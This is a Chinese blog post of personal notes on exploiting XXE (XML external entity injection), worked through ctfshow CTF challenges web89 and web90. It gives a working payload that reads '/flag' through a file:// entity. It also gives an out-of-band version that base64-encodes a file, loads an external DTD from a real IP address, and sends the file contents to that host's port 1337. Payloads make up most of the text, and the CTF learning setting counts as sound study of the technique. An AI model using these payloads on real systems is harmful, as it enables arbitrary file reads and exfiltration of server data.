【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用

XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父 3个叔父 8个堂弟堂妹

<祖父>

<叔父1>

<堂兄1>

</叔父1>

<叔父2>

<堂兄2>

</叔父2>

<叔父3>

<堂兄3>

</叔父4>

</祖父>

xml格式

1 有回显时文件读取方法

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY hacker SYSTEM "file:///flag">

]>

<root>

<ctfshow>

&hacker;

</ctfshow>

</root>

例题1 web89

post传:

复制代码
<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

无回显点,考虑数据外带

post传

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">

%myurl;

]>

<root>

1

</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">

%dtd;

%vps;

vps监听1337端口即可

相关推荐
tjsoft2 小时前
网站如何被百度收录之探索笔记
笔记
QT 小鲜肉4 小时前
【个人成长笔记】在 Linux 系统下撰写老化测试脚本以实现自动压测效果(亲测有效)
linux·开发语言·笔记·单片机·压力测试
MeowKnight9584 小时前
【Qt】Qt实践记录2——TCP通信服务器和客户端demo
笔记·qt
华硕广东5 小时前
怎么才能去定义自己的生活呢?
科技·安全·技术美术
脚踏实地的大梦想家6 小时前
【Go】P19 Go语言并发编程核心(三):从 Channel 安全到互斥锁
开发语言·安全·golang
The_Second_Coming6 小时前
ELK 学习笔记
笔记·学习·elk
wdfk_prog6 小时前
[Linux]学习笔记系列 -- [kernel][time]timekeeping
linux·笔记·学习
qyresearch_6 小时前
全球生物识别加密U盘市场:安全需求驱动增长,技术迭代重塑格局
网络·安全
charlie1145141916 小时前
从零开始理解 CSS:让网页“活”起来的语言2
前端·css·笔记·学习·选择器·样式表·原生
im_AMBER6 小时前
Leetcode 46
c语言·c++·笔记·学习·算法·leetcode